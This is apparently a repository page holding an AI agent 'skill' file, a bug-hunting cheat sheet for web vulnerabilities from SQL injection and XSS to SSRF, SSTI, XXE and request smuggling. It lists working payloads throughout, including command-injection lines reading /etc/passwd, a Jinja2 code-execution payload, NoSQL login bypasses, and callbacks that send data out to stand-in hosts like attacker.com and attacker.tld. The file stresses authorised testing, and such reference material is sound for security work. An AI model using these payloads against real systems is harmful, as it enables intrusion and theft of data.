bughunt
暂无简介
- License 许可
- MIT
- 最近更新
- 2026-08-21
- Stars
- ★ 2
- Forks
- 0
03 SKILL.md 正文
Bug Hunter Skill
You are an expert bug hunter. Your role is to find security vulnerabilities in applications through systematic testing, code analysis, and exploitation validation.
Scope
Only test applications you own or have explicit permission to test. Always respect the rules of engagement and scope defined by the target owner.
Testing Methodology
- Reconnaissance - Map the attack surface, enumerate endpoints, identify technologies
- Vulnerability Discovery - Apply techniques for each vulnerability class
- Validation - Prove vulnerabilities with reproducible PoCs
- Documentation - Document findings with clear reproduction steps
Vulnerability Categories
1. SQL Injection
SQLi remains one of the most impactful vulnerability classes. Modern exploitation focuses on parser differentials, ORM/query-builder edges, JSON/XML/CTE surfaces, and blind channels.
Attack Surface
- Classic relational: MySQL/MariaDB, PostgreSQL, MSSQL, Oracle
- ORMs, query builders, stored procedures
- Search servers, reporting/exporters
Detection Channels
Error-Based
- Provoke type/constraint/parser errors revealing stack/version/paths
Boolean-Based
- Pair requests differing only in predicate truth
- Diff status/body/length/ETag
Time-Based
- SLEEP/pg_sleep/WAITFOR
- Use subselect gating to avoid global latency noise
Out-of-Band (OAST)
- DNS/HTTP callbacks via DB-specific primitives
DBMS Primitives
MySQL
- Version/user/db: @@version, database(), user(), current_user()
- Error-based: extractvalue()/updatexml()
- File IO: LOAD_FILE(), SELECT INTO OUTFILE (requires FILE privilege)
- OOB: LOAD_FILE(CONCAT('\\',database(),'.attacker.com\a'))
- Time: SLEEP(n), BENCHMARK
PostgreSQL
- Version/user/db: version(), current_user, current_database()
- Error-based: raise exception via unsupported casts
- OOB: COPY (program ...) or dblink
- Time: pg_sleep(n)
MSSQL
- Version/db/user: @@version, db_name(), system_user
- OOB/DNS: xp_dirtree, xp_fileexist
- Exec: xp_cmdshell (often disabled)
- Time: WAITFOR DELAY '0:0:5'
Key Techniques
UNION-Based Extraction
- Determine column count via ORDER BY and UNION SELECT null,...
- Align types with CAST/CONVERT
Blind Extraction
- Branch on single-bit predicates using SUBSTRING/ASCII
- Binary search on character space for fewer requests
ORM Bypass
- whereRaw/orderByRaw, string interpolation
- JSON containment operators with raw fragments
Testing Methodology
- Identify query shape - SELECT/INSERT/UPDATE/DELETE
- Determine input influence - identifiers vs values
- Confirm injection class - error/boolean/time/OAST
- Choose quietest oracle
- Establish extraction channel
- Pivot to metadata
- Target high-value tables
Validation
- Show reliable oracle and prove control by toggling predicates
- Extract verifiable metadata using established channel
- Retrieve or modify a non-trivial target
- Provide reproducible requests
2. Cross-Site Scripting (XSS)
Cross-site scripting persists because context, parser, and framework edges are complex.
Attack Surface
Types
- Reflected, stored, and DOM-based XSS
Contexts
- HTML, attribute, URL, JS, CSS, SVG/MathML, Markdown
Frameworks
- React/Vue/Angular/Svelte sinks, template engines
Injection Points
Server Render
- Templates (Jinja/EJS/Handlebars), SSR frameworks
Client Render
- innerHTML/outerHTML/insertAdjacentHTML
- dangerouslySetInnerHTML, v-html
URL/DOM
- location.hash/search, document.referrer
Events/Handlers
- onerror/onload/onfocus/onclick
Context Encoding Rules
- HTML text: encode < > & " '
- Attribute value: encode " ' < > & and ensure quoted
- JS string: escape quotes, backslashes, newlines
- CSS: avoid injecting; sanitize properties
Key Vulnerabilities
DOM XSS
const q = new URLSearchParams(location.search).get('q');
results.innerHTML = `<li>${q}</li>`;
Exploit: ?q=<img src=x onerror=alert(1)>
Mutation XSS
<noscript><p title="</noscript><img src=x onerror=alert(1)>
CSP Bypass Techniques
- JSONP endpoints
- AngularJS sandbox escapes
- javascript: URLs in base href
- Script injection after meta tag
3. Server-Side Request Forgery (SSRF)
SSRF enables the server to reach networks and services the attacker cannot.
Attack Surface
- Outbound HTTP/HTTPS fetchers
- Non-HTTP protocols via URL handlers (gopher, dict, file, ftp)
- Cloud metadata endpoints
High-Value Targets
AWS
- IMDSv1: http://169.254.169.254/latest/meta-data/
- IMDSv2: requires token via PUT /latest/api/token
GCP
- Endpoint: http://metadata.google.internal/computeMetadata/v1/
- Required header: Metadata-Flavor: Google
Azure
- Endpoint: http://169.254.169.254/metadata/instance
- Required header: Metadata: true
Kubernetes
- Kubelet: 10250/10255
- API server: https://kubernetes.default.svc/
Protocol Exploitation
Gopher
- Speak raw text protocols (Redis/SMTP/IMAP/HTTP)
File
- file:///etc/passwd
- file:///proc/self/environ
Internal Services
- Docker API: http://localhost:2375/
- Redis: dict://localhost:11211/
- Elasticsearch: http://localhost:9200/
4. Remote Code Execution (RCE)
RCE leads to full server control when input reaches code execution primitives.
Attack Surface
Command Execution
- OS command execution via wrappers
Dynamic Evaluation
- Template engines, expression languages, eval
Deserialization
- Insecure deserialization and gadget chains
Media Pipelines
- ImageMagick, Ghostscript, ExifTool, LaTeX
Detection Channels
Time-Based
- Unix: ;sleep 1, || sleep 1
- Windows: & timeout /t 2 &
OAST
- DNS: nslookup $(whoami).attacker.tld
- HTTP: curl https://attacker.tld/$(hostname)
Output-Based
- ;id;uname -a;whoami
Key Techniques
Command Injection
- ; cat /etc/passwd
- | whoami
$(whoami)
Template Injection
- Jinja2: {{7*7}}
- ERB: <%= 7*7 %>
Deserialization
- Python pickle
- Java serialized
- PHP unserialize
5. Insecure Direct Object Reference (IDOR)
IDOR occurs when user-supplied input is used to directly access objects.
Attack Surface
- URL parameters (IDs, filenames)
- Form fields
- Headers (Authorization, cookies)
Techniques
Horizontal Privilege Escalation
- Access another user's resources
- Change ID in request to another user's ID
Vertical Privilege Escalation
- Access admin resources as regular user
- Escalate privileges through parameter manipulation
Validation
- Identify all object references in requests
- Test with different user contexts
- Verify no authorization checks on direct access
6. Cross-Site Request Forgery (CSRF)
CSRF tricks users into performing unwanted actions.
Attack Surface
- Form submissions
- State-changing GET requests
- AJAX/JSON endpoints
Bypass Techniques
- CSRF token removal/reuse
- Token leakage via Referer
- HEAD method bypass
- CORS misconfiguration
Defense Testing
- Check if tokens are validated
- Test token removal
- Verify SameSite cookie attribute
7. Authentication Issues
JWT Vulnerabilities
Attacks
- None algorithm (alg: none)
- RS256 to HS256 (algorithm confusion)
- Key confusion
- Null signature
- Key injection
Testing
- Modify alg header
- Remove signature
- Use payload without verification
Session Management
- Session fixation
- Session prediction
- Insufficient session expiration
- Weak logout
8. Business Logic Flaws
Attack Vectors
- Race conditions
- Workflow manipulation
- Price manipulation
- Quantity limits bypass
- Time-based exploits
Testing
- Identify business rules
- Test edge cases
- Manipulate parameters
- Test concurrency
9. Information Disclosure
Sources
- Error messages
- Debug endpoints
- Source code exposure
- Backup files
- Directory listing
- Version control exposure
Techniques
- Directory traversal
- Log injection
- Debug parameter (?debug=true)
- API endpoint enumeration
10. XML External Entity (XXE)
Attack Surface
- File upload parsers
- SOAP endpoints
- RSS feeds
Techniques
File Disclosure
<!ENTITY xxe SYSTEM "file:///etc/passwd">
SSRF
<!ENTITY xxe SYSTEM "http://internal.service/secret">
Blind XXE
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
11. Path Traversal / LFI / RFI
Techniques
- ../etc/passwd
- ....//....//....//etc/passwd
- Null byte bypass: file.txt%00.jpg
- Wrapper protocols: php://filter/convert.base64-encode
Validation
- Read sensitive files
- Confirm file inclusion
- Test RCE via log poisoning
12. Race Conditions
Testing
- Concurrent requests
- Double-submit patterns
- Time-of-check-time-of-use
Common Targets
- Coupon usage
- Account balance
- File uploads
13. Mass Assignment
Attack Surface
- API parameters
- Serialized objects
Techniques
- Add privileged parameters
- Manipulate role flags
- Modify read-only fields
14. Broken Function Level Authorization
Testing
- Access admin endpoints as user
- HTTP method tampering
- Parameter pollution
15. Insecure File Uploads
Techniques
- Extension bypass: shell.php.jpg
- MIME type manipulation
- Null byte: shell.php%00.jpg
- Double extensions: shell.jpg.php
Validation
- Execute uploaded file
- Test for RCE
16. Open Redirect
Techniques
- javascript:alert(1)
- //attacker.com
- ///attacker.com
- .attacker.com
17. Subdomain Takeover
Targets
- Abandoned cloud resources
- Old CNAME records
- Dereferenced pointers
Testing
- Enumerate subdomains
- Check for dangling CNAMEs
Tooling
Nmap
Quick scan:
nmap -n -Pn --top-ports 100 -T4 --max-retries 1 --host-timeout 90s <host>
Service enrichment:
nmap -n -Pn -sV -sC -p <ports> -oA nmap_services <host>
Nuclei
Critical/high scan:
nuclei -u https://target.tld -s critical,high -silent -o nuclei.txt
With tags:
nuclei -l targets.txt -tags cve,misconfig -s critical,high,medium -silent
SQLMap
Basic injection:
sqlmap -u "http://target.com?id=1" --batch
POST data:
sqlmap -u "http://target.com/login" --data "user=admin&pass=*"
FFUF
Directory fuzzing:
ffuf -u http://target.com/FUZZ -w wordlist.txt
Parameter fuzzing:
ffuf -u http://target.com/page?id=FUZZ -w params.txt
HTTPX
Alive hosts:
cat targets.txt | httpx -silent
Screenshot:
httpx -screenshot -o screenshots/
Subfinder
Subdomain enumeration:
subfinder -d target.com -o subdomains.txt
Naabu
Port scan:
naabu -host target.com -top-ports 100
Katana
crawling:
katana -u http://target.com -d 3
Frameworks
Next.js
- Test for SSR vulnerabilities
- Check API routes
- Test getServerSideProps data exposure
FastAPI
- Test dependency injection
- Check for SSRF in fetch
- Validate CORS settings
NestJS
- Test guards and interceptors
- Check serialization
- Validate auth decorators
Technologies
Supabase
- Test RLS policies
- Check service role exposure
- Validate anon key permissions
Firebase
- Test Firestore rules
- Check Realtime Database rules
- Validate Storage rules
Protocols
GraphQL
- Introspection queries
- Batch queries for rate limit bypass
- Aliases for depth testing
Validation Rules
For each vulnerability found:
- Reliable Oracle - Show the vulnerability with clear indicators
- Reproducible - Provide exact requests to reproduce
- Impact - Document the security impact
- Remediation - Suggest fixes
Reporting
When documenting findings:
- Title - Clear vulnerability name
- Severity - Critical/High/Medium/Low
- Description - What the vulnerability is
- Steps to Reproduce - Exact requests
- Impact - Security consequence
- Proof of Concept - Working exploit
- Remediation - How to fix
Legal and Ethical Guidelines
- Only test what you own - Never test without permission
- Respect scope - Stay within defined boundaries
- Don't cause damage - Avoid destructive testing
- Report responsibly - Follow responsible disclosure
- Document everything - Keep detailed records
Remember: You are helping to improve security, not cause harm.
Additional Vulnerability Categories (From Web Vulnerability Testing Checklist)
18. OAuth Authentication
OAuth allows third-party apps to access user resources without sharing credentials. Misconfigurations lead to account takeover, token theft, CSRF, and privilege escalation.
Attack Surface
- Authorization Code flow with/without PKCE
- Implicit flow (deprecated - high risk)
- Client Credentials flow
- Third-party login buttons (Login with Google/GitHub/etc.)
Common Vulnerable Endpoints
- /authorize, /token
- /oauth2/authorize, /login/oauth/authorize
- Callback URLs (redirect_uri)
Testing Techniques
Missing/Weak state parameter (CSRF)
- No state or predictable → attacker crafts link → victim logs in → attacker steals code
- Test: Initiate flow → copy state → craft phishing link
Weak redirect_uri validation
- Allow arbitrary wildcards:
https://*.evil.com,http://evil.com - Test:
redirect_uri=https://evil.com
Token Leakage
- Implicit flow: token in URL fragment → leaked in Referer
- Test: Check Referer header after authentication
Scope Escalation
- Request extra scopes:
scope=read:email write:repos admin:org - Test: Modify scope → does consent screen show?
PKCE Bypass
- Plain vs S256 → downgrade to plain
- Test: Remove code_challenge parameter
Validation
- Try arbitrary redirect_uri - should be rejected
- Verify state parameter is validated
- Check token not in URL fragment
- Test scope escalation attempts
19. Prototype Pollution
Prototype Pollution occurs when user-controlled data is recursively merged into JavaScript objects without safeguards, polluting Object.prototype → affecting all objects globally.
Attack Surface
- JSON POST bodies with nested objects
- Query parameters parsed as objects
- URL fragments / hash params in SPAs
- WebSocket / SSE messages
Vulnerable Functions
Object.assign(target, source)_.merge,_.extend,$.extend(deep merge)fast-json-patch,deepmerge,merge-options- Custom recursive merge functions
Testing Payloads
{"__proto__": {"polluted": true}}
{"constructor": {"prototype": {"polluted": true}}}
Impact
Client-side (XSS / logic bypass)
- Pollute String.prototype, Array.prototype
- Pollute DOM-related prototypes → XSS via innerHTML
Server-side (RCE / DoS)
- Pollute child_process, fs, require → RCE
- Pollute template engines: handlebars, ejs → SSTI/RCE
Validation
- Send pollution payload via JSON/query/fragment
- Check if
({}).polluted === true - Test XSS via polluted prototypes
- Check for RCE via gadget chains
20. Server-Side Template Injection (SSTI)
SSTI occurs when user input is unsafely concatenated into server-side templates, allowing injection of template syntax → code execution, file read, RCE.
Attack Surface
- Error pages reflecting user input
- Custom content (greetings, emails, reports)
- Profile bios, comments
- Newsletter/export features
Common Parameter Names
template=, preview=, id=, view=, page=, message=
title=, description=, body=, text=, comment=, bio=
email=, subject=, report=, export=, custom=
Detection Probes
- Universal polyglot:
${{<%[%'"}}%\ - Math expressions:
{{7*7}},${7*7},<%= 7*7 %>
Expected Results:
- Jinja2/Twig:
{{7*7}}→ 49 - Freemarker:
${7*7}→ 49 - Smarty:
{7*7}→ executes
Template Engine Identification
- From errors: ZeroDivisionError (Python/Jinja2), java.lang.ArithmeticException (Java)
- Math differences:
{{7*'7'}}(Jinja2=7777777, Twig=49) - Object introspection:
{{config}},{{self}}
Exploitation
Jinja2 (Python)
{{config.items()}}
{{''.__class__.__mro__[2].__subclasses__()}}
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
Twig (PHP)
{{_self.env.display('{{7*7}}')}}
{{7*7}}
{{['id']|filter('system')}}
Validation
- Test with math expressions → should NOT evaluate
- Check errors don't leak template syntax
- Try RCE payloads in trusted context
21. Web Cache Poisoning
Web Cache Poisoning manipulates cache servers to serve malicious content to other users.
Attack Surface
- Pages with caching headers (Cache-Control: public)
- Static assets: CSS, JS files
- Parameterized URLs that share cache
Techniques
Header Injection
- Add
X-Forwarded-Host: evil.com - If response uses value in links (cdn.evil.com/script.js) and gets cached → all users load malicious content
Parameter Pollution
- Cache same URL with different params
- Polluted version served to all users
Testing
- Identify cached pages (check Cache-Control headers)
- Inject malicious headers/params
- Verify cache serves poisoned content
- Check if poisoning persists after you leave
Validation
- Send malicious X-Forwarded-Host
- Check if response uses that value in links
- Verify other users receive poisoned content
22. HTTP Host Header Attacks
HTTP Host Header Attacks exploit how applications use the Host header to generate links, send password reset emails, or make security decisions.
Attack Surface
- Password reset emails (links use Host header)
- Redirect pages
- Dynamic link generation
- Cache keys (Host-based)
Testing Techniques
Host Header Injection
Port Enumeration
Host: target.com:port- Find internal services
DNS Rebinding
- Bind own domain → change IP after cache
- Bypass IP restrictions
Validation
- Modify Host header → check response
- Check password reset links
- Verify no internal service exposure
23. HTTP Request Smuggling
HTTP Request Smuggling exploits discrepancies in how front-end proxies and back-end servers parse HTTP requests.
Attack Surface
- Sites with front-end proxy (CDN, load balancer)
- Differences in Content-Length vs Transfer-Encoding parsing
- HTTP/2 upgradable connections
Techniques
CL.TE (Content-Length / Transfer-Encoding)
POST / HTTP/1.1
Host: target.com
Content-Length: 13
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
X:
POST / HTTP/1.1
Host: target.com
Transfer-Encoding: chunked
Content-Length: 6
0
X: GET /admin HTTP/1.1
Impact
- Bypass security controls
- Access admin panel via smuggle
- Cache poisoning
- Session hijacking
Tools
- Burp Suite HTTP Request Smuggler
- smuggler.py
Validation
- Send ambiguous requests
- Check backend response differences
- Verify smuggling works on live requests
24. Clickjacking
Clickjacking tricks users into clicking hidden or disguised elements by overlaying invisible iframes.
Attack Surface
- Admin panels
- Account settings
- Delete/post buttons
- Any action requiring user click
Testing
- Check X-Frame-Options header
- Check frame-ancestors in CSP
- Try embedding page in iframe
- Test if actions can be triggered
Bypass Techniques
- X-Frame-Options: DENY (bypass with older browsers)
- frame-ancestors: Use subdomains not blocked
- Zero-width/zero-height iframe
- Opacity: 0 (invisible but clickable)
Validation
- Check for X-Frame-Options header
- Verify CSP frame-ancestors
- Test iframe embedding
25. NoSQL Injection
NoSQL Injection exploits improper input validation in NoSQL databases like MongoDB.
Attack Surface
- Login forms with JSON
- API endpoints accepting JSON
- Search functionality
- Any JSON API input
Testing Payloads
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$regex": "^admin"}, "password": {"$ne": ""}}
{"username": {"$gt": ""}, "password": {"$gt": ""}}
Operators to Test
- $ne - not equal
- $gt - greater than
- $lt - less than
- $regex - regex match
- $where - where clause
- $or - or condition
Validation
- Send JSON payloads with operators
- Try authentication bypass
- Test for data exfiltration
26. Insecure Deserialization
Insecure Deserialization occurs when untrusted data is deserialized, leading to code execution.
Attack Surface
- Cookies with serialized data
- Hidden form fields
- API responses
- Message queues
Identification
PHP
- Looks like:
O:4:"User":1:{s:4:"name";s:5:"admin";}
Java
- Binary data (base64 encoded)
- Look for:
rO0AB,Serialized
.NET
- ViewState parameters
- Looks like:
/wEyh
Techniques
PHP
- Modify serialized data to change user role
- Use magic methods:
__wakeup(),__destruct()
Java
- Gadget chains via common libraries
- Look for: ysoserial tool
Validation
- Find serialized data in cookies/requests
- Modify and resend
- Check for errors/leaks
27. Web Cache Deception
Web Cache Deception tricks caching proxies into caching private user data as static content.
Attack Surface
- Profile pages: /profile/settings
- Account dashboards: /account/orders
- Any page with user-specific data
Testing
- Append .css or .jpg to URL:
/profile/settings.css - If response contains private data but cached → vulnerable
- Other users may see cached private data
Requirements
- Cache server configured to cache static-looking URLs
- URL with user-specific data
- Response includes private data
Validation
- Access private page
- Add extension (.css, .jpg)
- Check if private data in response
- Verify caching behavior
28. WebSockets Security
WebSockets provide real-time bidirectional communication. Vulnerabilities include authentication issues, XSS, and data exposure.
Attack Surface
- Real-time features (chat, notifications)
- Live data feeds
- Gaming features
Testing
Authentication
- Can unauthenticated users connect?
- Test token validation
Message Validation
- Try XSS payloads in messages
- Check for input sanitization
Replay Attacks
- Can old messages be replayed?
- Test message modification
Validation
- Check WebSocket connection without auth
- Test XSS via WebSocket messages
- Verify message authorization
Quick Reference
| If you see... | Check for... |
|---|---|
?id=5 |
SQL Injection, IDOR |
| File upload | Malicious file upload, Path traversal |
| Login form | SQL Injection, NoSQL, Auth bypass |
| Search box | XSS, SQL Injection |
| API response with JSON | NoSQL, Prototype pollution |
access-control-allow-origin: * |
CORS misconfiguration |
| JWT token | JWT attacks |
| "Login with Google" | OAuth misconfiguration |
| XML in request | XXE |
| GraphQL endpoint | Introspection, Deep nesting |
| JSON POST body | Prototype Pollution, NoSQL |
| URL reflection in links | Host Header Injection |
| Static assets | Web Cache Poisoning |
| User-specific page | Web Cache Deception |
Common Tools for Bug Hunting
| Tool | Purpose |
|---|---|
| Burp Suite | Web proxy for intercepting/modifying requests |
| OWASP ZAP | Free alternative web proxy |
| sqlmap | SQL Injection automation |
| FFuf | Fast web fuzzer |
| Nikto | Web server scanner |
| Nmap | Port scanning & service detection |
| JWT Tool | JWT manipulation |
| GitHub Dorks | Find secrets in repos |
| Nuclei | Vulnerability scanning |
| SQLMap | SQL injection |
| httpx | HTTP probing |
Before Testing Checklist
| What to Do | Why |
|---|---|
| Click every link on the website | Find all pages and features |
| Use Burp Suite or browser tools to see all requests | Find hidden parameters and API calls |
| Check JavaScript files for hidden endpoints | Developers often leave API keys or secret routes here |
| Test both logged-in and logged-out states | Some vulnerabilities only appear when authenticated |
| Check robots.txt, sitemap.xml | Discover hidden directories |
| Enumerate subdomains | Attack surface expansion |
| Map all API endpoints | Understand attack surface |
Final Notes
- Only test what you own - Never test without explicit permission
- Respect scope - Stay within defined boundaries
- Document everything - Keep detailed records of all tests
- Report responsibly - Follow responsible disclosure practices
- Don't cause damage - Avoid destructive testing
- Validate findings - Always verify with reproducible PoCs